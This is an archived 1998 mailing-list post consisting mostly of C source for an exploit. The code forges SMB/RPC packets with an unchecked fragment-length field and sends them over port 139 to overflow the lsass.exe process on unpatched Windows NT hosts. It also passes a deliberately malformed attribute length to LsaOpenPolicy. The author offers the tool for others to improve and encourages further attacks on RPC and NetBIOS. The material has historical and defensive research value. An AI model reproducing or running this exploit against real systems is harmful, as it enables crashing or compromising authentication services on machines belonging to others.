SMB/RPC workbench code

From: Greg Hoglund (greghat_private)
Date: Tue May 05 1998 - 16:29:40 PDT

  • Next message: Scott Stone: "TurboLinux 1.2 xinit hole - Fix #2"

    sorry if my email program mucked up the code formatting...
    
    ////////////////////////////////////////////////////
    // Workshop code to test offsets in SMB/RPC calls
    // over TCP/IP
    //
    // May 1, 1998
    // Greg Hoglund  http://www.asmodeus.com
    //
    // I recently became aware of some issues in the lsass.exe
    // process.  Prior to the lsa2-fix hotfix, you can apparently
    // buffer overflow lsass thru an RPC call.
    // See KB Q154087
    //
    // I wrote this code this morning to try and exploit
    // this behavior.  I skipped alot and just hard coded
    // some parameter blocks.  You might want to play with
    // this or improve upon it.  If you make improvements
    // I sincerely ask that you release the update.
    //
    // RPC and Netbios are an orchard just waiting to
    // be picked.  I hope that this code will help the
    // harvest.
    ////////////////////////////////////////////////////
    
    #ifndef UNICODE
    #define UNICODE
    #endif // UNICODE
    
    #include <windows.h>
    #include <stdio.h>
    // from the ddk
    #include "ntsecapi.h"
    
    #define RTN_OK 0
    #define RTN_USAGE 1
    #define RTN_ERROR 13
    //
    // If you have the ddk, include ntstatus.h.
    //
    #ifndef STATUS_SUCCESS
    #define STATUS_SUCCESS  ((NTSTATUS)0x00000000L)
    #endif
    
    ////////////////////////////////////////////////
    // Targets
    //
    // The NBT header length and RPC fragment offset
    // can be set.  Incorrect RPC fragment offset
    // can overflow the remote lsass.exe process
    ////////////////////////////////////////////////
    #define TARGET_IP "192.168.0.28"
    #define TARGET_MACHINENAME "LARRY"
    #define TARGET_USERNAME "GREGH"
    
    #define NBT_PACKET_LENGTH       0xA400
    #define RPC_FRAGMENT_OFFSET 0xFFFF
    
    
    ////////////////////////////////////////////////
    // SMB/NBT/RPC structures for packets
    ////////////////////////////////////////////////
    typedef struct _NBTHeader
    {
            struct {
                    u_char  packetType;
                    u_char  packetFlags;
                    #define NBT_ADDLEN 0x00
                    u_short packetLen;
            } s;
    } NBT_HEADER, *NBT_HEADER_P;
    
    // this isn't exactly to spec, but everything is aligned OK
    typedef struct _SMB
    {
            struct smb_static{
                    NBT_HEADER      NBTHeader;
                    u_char protocol[4];                     // Contains 0xFF,'SMB'
                    u_char command;             // Command code
                    u_char status[4];                       // error
                    u_char flags;               // Flags
                    u_short flags2;             // More flags
    
                    u_char pad[12];             // Ensure section is 12 bytes long
    
                    u_short tid;                // Tree identifier
                    u_short pid;                // Opaque for client use
                    u_short uid;                // User id
                    u_short mid;                // multiplex id
                    u_char  wordCount;          // Count of parameter words
            } s;
    
        u_short *parameterWordsP;           // The parameter words
        u_short byteCount;                          // Count of bytes
        u_char  *bufferP;                           // The bytes
    } SMB_HEADER, *SMB_HEADER_P;
    
    // RPC structures
    // I pulled from cifsntdomain.txt:
    // http://mailhost.cb1.com/~lkcl/ntdom/cifsntdomain.txt
    typedef struct _RPCHeader
    {
            u_char versionMaj;
            u_char verisonMin;
            u_char type;
            u_char flags;
            u_long rep;
            u_short fraglength; // THIS is NOT sanity checked, oops. Fixed in lsa2-fix
            u_short authlen;
            u_long callid;
    
    } RPC_HEADER, *RPC_HEADER_P;
    
    typedef struct _RPC_Bind
    {
            u_short maxtsize;
            u_short maxrsize;
            u_long assocgid;
            u_long numelements;
            u_short contextid;
            u_char numsyntaxes;
    } RPC_BIND, *RPC_BIND_P;
    
    
    // I didn't have the structures for these parameter blocks.  I sniffed
    these ones.
    // Perhaps someone (?) could look them up / figure them out
    
    // sets up desired access, create flags, etc...
    static char CreateXParms[] =
    "\xFF\x00\x00\x00\x00\x0E\x00\x06\x00\x00\x00\x00\x00\x00" \
                                                                    "\x00\x9F\x01\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \
                                                                    "\x00\x00\x00\x03\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00" \
                                                                    "\x00\x02\x00\x00\x00\x00";
    
    static char RTransact[] =
    "\x00\x00\x48\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00" \
                                                                    "\x00\x00\x00\x00\x00\x00\x54\x00\x48\x00\x54\x00\x02\x00" \
                                                                    "\x26\x00\x02\x08";
    
    static char RTransact2[] =
    "\x00\x00\x92\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00" \
                                                                    "\x00\x00\x00\x00\x00\x00\x54\x00\x92\x00\x54\x00\x02\x00"
    
                                                                    "\x26\x00\x00\x08";
    
    // UNICODE = "\.l.s.a.r.p.c." (prefixed with 0x20 ?)
    static char CreateXFilename[] =
    "\x20\x5C\x00\x6C\x00\x73\x00\x61\x00\x72\x00\x70\x00\x63\x00\x00\x00";
    
    static char PresentationContext[] =
    "\x01\x00\x00\x00\x00\x00\x01\x00\x78\x57\x34\x12\x34\x12\xCD" \
                                                                            "\xAB\xEF\x00\x01\x23\x45\x67\x89\xAB\x00\x00\x00\x00\x04\x5D" \
                                                                            "\x88\x8A\xEB\x1C\xC9\x11\x9F\xE8\x08\x00\x2B\x10\x48\x60\x02" \
                                                                            "\x00\x00\x00";
    
    // C NT Create & X
    SMB_HEADER_P CreateSMBOpenPacket()
    {
            SMB_HEADER_P sHeadP = new SMB_HEADER;
            memset(sHeadP, 0, sizeof(SMB_HEADER));
    
            NBT_HEADER_P nbtHeaderP = &(sHeadP->s.NBTHeader);
    
            nbtHeaderP->s.packetType = 0x00;                        // Session Manage == 0x00
            nbtHeaderP->s.packetFlags = 0x00;
            nbtHeaderP->s.packetLen = 0x0000;                       // I set the correct packet size later
    
            memcpy(sHeadP->s.protocol, "\xFFSMB", 4);       //standard SMB protocol
            sHeadP->s.command = (char)0xA2;                         //Command == Create & X
            sHeadP->s.flags = (char)0x18;                           //0x18 == (using caseless pathnames |
    canonical pathnames)
            sHeadP->s.flags2 = 0x8003;                                      //0x8003 == (understand long filenames |
    extended attribs | UNICODE )
    
            // i chose these arbritrary (sniffed packet)
            sHeadP->s.tid = 0x800;
            sHeadP->s.pid = 0x1E00;
            sHeadP->s.uid = 0x801;
            sHeadP->s.mid = 0xC0;
    
            // setup parameters for "Create & X" command
            sHeadP->s.wordCount = 24;
            sHeadP->parameterWordsP = (u_short *) CreateXParms;
    
            sHeadP->byteCount = 17;
            sHeadP->bufferP = (u_char *) CreateXFilename;
    
            return (sHeadP);
    }
    
    SMB_HEADER_P CreateRPCBind(int size)
    {
            SMB_HEADER_P sHeadP = new SMB_HEADER;
            memset(sHeadP, 0, sizeof(SMB_HEADER));
    
            NBT_HEADER_P nbtHeaderP = &(sHeadP->s.NBTHeader);
    
            nbtHeaderP->s.packetType = 0x00;                // Session Manage == 0x00
            nbtHeaderP->s.packetFlags = 0x00;
            nbtHeaderP->s.packetLen = 0x0000;               // FIXME need to set correct packet size
    
            memcpy(sHeadP->s.protocol, "\xFFSMB", 4);               //standard SMB protocol
            sHeadP->s.command = (char)0x25;                                 //Command == RTransact
            sHeadP->s.flags = (char)0x18;                                   //0x18 == (using caseless pathnames |
    canonical pathnames)
            sHeadP->s.flags2 = 0x8003;                      //0x8003 == (understand long filenames |
    extended attribs | UNICODE )
    
            // i chose these arbritrary (sniffed packet)
            sHeadP->s.tid = 0x800;
            sHeadP->s.pid = 0x1E00;
            sHeadP->s.uid = 0x801;
            sHeadP->s.mid = 0xC0;
    
            // setup parameters for "RTransact" command
            sHeadP->s.wordCount = 16;
            sHeadP->parameterWordsP = (u_short *) RTransact;
    
            sHeadP->byteCount = 89;
            sHeadP->bufferP = new u_char[89];
    
            // UNICODE "\.P.I.P.E.\." prefixed w/ NULL
            memcpy(sHeadP->bufferP,
    "\x00\x5C\x00\x50\x00\x49\x00\x50\x00\x45\x00\x5C\x00\x00\x00\x00\xD5", 17);
    
            RPC_HEADER rpchead;
            rpchead.versionMaj = 0x05;
            rpchead.verisonMin = 0x00;
            rpchead.type = 0x0B;            // Type == Bind
            rpchead.flags = 0x00;
            rpchead.rep = 0x00000010;
            rpchead.fraglength = size;      // THIS is NOT sanity checked, oops.
            rpchead.authlen = 0x0000;
            rpchead.callid = 0xBAADF00D; // someone eat bad chinese for lunch? (this
    is hard coded in NT)
    
            memcpy(sHeadP->bufferP + 17, &rpchead, sizeof(RPC_HEADER));
    
            RPC_BIND rpcbind;
            rpcbind.maxtsize = 0x1630;
            rpcbind.maxrsize = 0x1630;
            rpcbind.assocgid = 0x0000;
            rpcbind.numelements = 0x01;
            rpcbind.contextid = 0x00;
            rpcbind.numsyntaxes = 0x01;
    
            memcpy( sHeadP->bufferP
                            + 17
                            + sizeof(RPC_HEADER), &rpcbind, sizeof(RPC_BIND));
    
            memcpy( sHeadP->bufferP
                            + 17
                            + sizeof(RPC_HEADER)
                            + sizeof(RPC_BIND), PresentationContext, 48);
    
            return (sHeadP);
    }
    
    
    SMB_HEADER_P CreateRPCRequest(int size)
    {
            SMB_HEADER_P sHeadP = new SMB_HEADER;
            memset(sHeadP, 0, sizeof(SMB_HEADER));
    
            NBT_HEADER_P nbtHeaderP = &(sHeadP->s.NBTHeader);
    
            nbtHeaderP->s.packetType = 0x00;                // Session Manage == 0x00
            nbtHeaderP->s.packetFlags = 0x00;
            nbtHeaderP->s.packetLen = 0x0000;               // set the size later
    
            memcpy(sHeadP->s.protocol, "\xFFSMB", 4); //standard SMB protocol
            sHeadP->s.command = (char)0x25;                   //Command == RTransact
    
            sHeadP->s.flags = (char)0x18;                     //0x18 == (using caseless pathnames |
    canonical pathnames)
            sHeadP->s.flags2 = 0x8003;                                //0x8003 == (understand long filenames |
    extended attribs | UNICODE )
    
            // i chose these arbritrary (sniffed packet)
            sHeadP->s.tid = 0x800;
            sHeadP->s.pid = 0xA700;
            sHeadP->s.uid = 0x800;
            sHeadP->s.mid = 0x14C0;
    
            // setup parameters for "RTransact" command
            sHeadP->s.wordCount = 16;
            sHeadP->parameterWordsP = (u_short *) RTransact2;
    
            sHeadP->byteCount = 97;
            sHeadP->bufferP = new u_char[97];
    
            // UNICODE "\.P.I.P.E.\." prefixed w/ NULL
            memcpy(sHeadP->bufferP,
    "\x00\x5C\x00\x50\x00\x49\x00\x50\x00\x45\x00\x5C\x00\x00\x00\x00\xD5", 17);
    
            RPC_HEADER rpchead;
            rpchead.versionMaj = 0x05;
            rpchead.verisonMin = 0x00;
            rpchead.type = 0x00;            // Type == Request
            rpchead.flags = 0x03;           // Set last fragment
            rpchead.rep = 0x00000010;
            rpchead.fraglength = size;      // THIS is NOT sanity checked, oops.
            rpchead.authlen = 0x0000;
            rpchead.callid = 0x00000001;
    
            memcpy( sHeadP->bufferP
                            + 17, &rpchead, sizeof(RPC_HEADER));
    
            // set the allocation hint, op number, and stub data...
            // sorry, i didn't want to code the struct for these
            // the target machine name "LARRY" is unicoded in this
            // block, but I wasn't sure if lsass would even get to here
            // if i managed to blow it's stack
            // maybe someone(?) or i should code these structs...
            // I get the impression there is still alot of reverse
            // engineering going on for this, after reading the cifs
            // stuff.. if i'm wrong, please point me to the source ;)
            memcpy( sHeadP->bufferP
                            + 17
                            + sizeof(RPC_HEADER),
                            "\x38\x00\x00\x00\x00\x00\x2C\x00\xD8\x0D\x14" \
                            "\x00\x06\x00\x00\x00\x00\x00\x00\x00\x06\x00" \
                            "\x00\x00\x4C\x00\x41\x00\x52\x00\x52\x00\x59" \
                            "\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00" \
                            "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \
                            "\x00\x00\x00\x00\x00\x10\x08\x00\x00", 64);
    
            return (sHeadP);
    }
    
    char * BuildPacket(SMB_HEADER_P sHeader, int *size)
    {
            //pack it down
            int sHeaderSize = sizeof(struct _SMB::smb_static) + (sHeader->s.wordCount
    * 2) + sHeader->byteCount + 1;
    
            sHeader->s.NBTHeader.s.packetLen = NBT_PACKET_LENGTH;
    
            *size = sHeaderSize;
    
            char *tosend = new char[sHeaderSize];
            memcpy( &tosend[0], sHeader, sizeof(SMB_HEADER::smb_static));
    
            memcpy( &tosend[(sizeof(SMB_HEADER::smb_static) - 1)],
                            sHeader->parameterWordsP, (sHeader->s.wordCount * 2));
    
            memcpy( &tosend[(sizeof(SMB_HEADER::smb_static) - 1)
                            + (sHeader->s.wordCount * 2)], (void *)&sHeader->byteCount,
    sizeof(sHeader->byteCount));
    
            memcpy( &tosend[(sizeof(SMB_HEADER::smb_static) - 1)
                            + (sHeader->s.wordCount * 2)
                            + sizeof(sHeader->byteCount)], sHeader->bufferP, sHeader->byteCount);
    
            return(tosend);
    }
    
    void
    InitLsaString(
        PLSA_UNICODE_STRING LsaString,
        LPWSTR String
        )
    {
        DWORD StringLength;
    
        if (String == NULL) {
            LsaString->Buffer = NULL;
            LsaString->Length = 0;
            LsaString->MaximumLength = 0;
            return;
        }
    
        StringLength = wcslen(String);
        LsaString->Buffer = String;
        LsaString->Length = (USHORT) StringLength * sizeof(WCHAR);
        LsaString->MaximumLength=(USHORT)(StringLength+1) * sizeof(WCHAR);
    }
    
    
    
    NTSTATUS
    OpenPolicy(
        LPWSTR ServerName,
        DWORD DesiredAccess,
        PLSA_HANDLE PolicyHandle
        )
    {
        LSA_OBJECT_ATTRIBUTES ObjectAttributes;
        LSA_UNICODE_STRING ServerString;
        PLSA_UNICODE_STRING Server = NULL;
    
        //
        // Always initialize the object attributes to all zeroes.
        //
        ZeroMemory(&ObjectAttributes, sizeof(ObjectAttributes));
    
        if (ServerName != NULL) {
            //
            // Make a LSA_UNICODE_STRING out of the LPWSTR passed in
            //
            InitLsaString(&ServerString, ServerName);
            Server = &ServerString;
        }
    
            // lets try to fuck this up
            ObjectAttributes.Length = 65536;
    
        //
        // Attempt to open the policy.
        //
        return LsaOpenPolicy(
                    Server,
                    &ObjectAttributes,
    
                    DesiredAccess,
                    PolicyHandle
                    );
    }
    
    int _cdecl
    main(void)
    {
        LSA_HANDLE PolicyHandle;
        WCHAR wComputerName[256]=L"";   // static machine name buffer
        TCHAR AccountName[256];         // static account name buffer
        NTSTATUS Status;
        int iRetVal=RTN_ERROR;          // assume error from main
    
        wsprintf(AccountName, TEXT("%hS"), TARGET_USERNAME);
        wsprintfW(wComputerName, L"%hS", TARGET_MACHINENAME);
    
        //
        // Open the policy on the target machine.
            // This call sets up the /lsarpc pipe for us
            // this maps to the lsass.exe process, which has some
            // problems with buffer overflow.
            // See knowledgebase article Q154087
        //
            // We could also use the CreateSMBOpenPacket() call above
            // to do this manually.  I figured it easier to
            // use the system call....
        if((Status=OpenPolicy(
                    wComputerName,      // target machine
                    POLICY_CREATE_ACCOUNT | POLICY_LOOKUP_NAMES,
                    &PolicyHandle       // resultant policy handle
                    )) != STATUS_SUCCESS) {
            return RTN_ERROR;
        }
    
            // pipe is open, start forging your own packets
            WSADATA wsaData;
            if(WSAStartup(MAKEWORD(2,1), &wsaData) != 0)
                    exit(1);
    
            // we already handled this...
            // Send SMBOpenX for /lsarpc which translates to lsass process
            // SMB_HEADER_P sHeader = CreateSMBOpenPacket();
    
            // I was looping thru all fragment offsets...
            //for(int i = 0; i<65536; i++)
            //{
                    SOCKET s = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
                    if(s == SOCKET_ERROR) exit(1);
    
                    SOCKADDR_IN addr;
                    addr.sin_family = AF_INET;
                    addr.sin_port = htons(139);
                    addr.sin_addr.S_un.S_addr = inet_addr(TARGET_IP);
    
                    SMB_HEADER_P sHeader = CreateRPCRequest(RPC_FRAGMENT_OFFSET);
                    int sPacketSize;
                    char *tosend = BuildPacket(sHeader, &sPacketSize);
                    if(connect(s, (struct sockaddr *) &addr, sizeof(SOCKADDR_IN)) !=
    SOCKET_ERROR)
                            send(s, (char *) tosend, sPacketSize, 0);
                    closesocket(s);
            //}
            return(RTN_OK);
    }
    



    This archive was generated by hypermail 2b30 : Fri Apr 13 2001 - 13:52:24 PDT